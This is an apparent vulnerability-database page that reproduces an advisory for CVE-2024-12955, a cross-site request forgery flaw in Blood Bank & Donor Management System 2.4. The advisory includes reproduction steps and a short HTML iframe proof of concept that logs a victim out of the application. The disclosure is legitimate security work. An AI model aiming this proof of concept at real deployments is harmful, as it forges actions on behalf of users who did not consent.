Lucene search
K

๐Ÿ“„ Blood Bank and Donor Management System 2.4 Cross Site Request Forgery

๐Ÿ—“๏ธย 18 Apr 2025ย 00:00:00Reported byย Kwangyun KeumTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 234ย Views

Blood Bank & Donor Management System 2.4 is vulnerable to Cross-Site Request Forgery attacks.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-12955
26 Dec 202414:34
โ€“circl
CNNVD
PHPGurukul Blood Bank & Donor Management ๅฎ‰ๅ…จๆผๆดž
26 Dec 202400:00
โ€“cnnvd
CVE
CVE-2024-12955
26 Dec 202414:31
โ€“cve
Cvelist
CVE-2024-12955 PHPGurukul Blood Bank & Donor Management System logout.php cross-site request forgery
26 Dec 202414:31
โ€“cvelist
Exploit DB
Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
17 Apr 202500:00
โ€“exploitdb
EUVD
EUVD-2024-51219
3 Oct 202520:07
โ€“euvd
NVD
CVE-2024-12955
26 Dec 202415:15
โ€“nvd
OSV
CVE-2024-12955
26 Dec 202415:15
โ€“osv
Positive Technologies
PT-2024-17827 ยท Unknown ยท Phpgurukul Blood Bank & Donor Management System
26 Dec 202400:00
โ€“ptsecurity
RedhatCVE
CVE-2024-12955
23 May 202509:28
โ€“redhatcve
Rows per page
# Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
    # Google Dork: N/A
    # Date: 2024-12-26
    # Exploit Author: Kwangyun Keum
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
    # Version: 2.4
    # Tested on: Windows 10 / Kali Linux with Apache and MySQL
    # CVE: CVE-2024-12955
    
    ## Description:
    Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
    Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
    functionalities such as logout. An attacker can craft a malicious iframe
    embedding the logout URL and trick a victim into clicking it. This results
    in the victim being logged out without their consent.
    
    ## Steps to Reproduce:
    1. Deploy Blood Bank & Donor Management System v2.4.
    2. Log in as any user.
    3. Use the following PoC to demonstrate the issue:
    
       ```html
       <html>
         <body>
           <iframe
             src="http://localhost/bbdms/logout.php"
             style="border:0px #FFFFFF none;"
             name="myLogoutFrame"
             scrolling="no"
             frameborder="1"
             marginheight="0px"
             marginwidth="0px"
             height="400px"
             width="600px"
             allowfullscreen>
           </iframe>
         </body>
       </html>
    4. Save the above HTML code as logout_poc.html.
    5.Open the file in a browser and click anywhere on the page to trigger the
    logout.

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Apr 2025 00:00Current
4.8Medium risk
Vulners AI Score4.8
CVSS 3.14.3
CVSS 25
CVSS 46.9
CVSS 34.3
EPSS0.00152
SSVC
234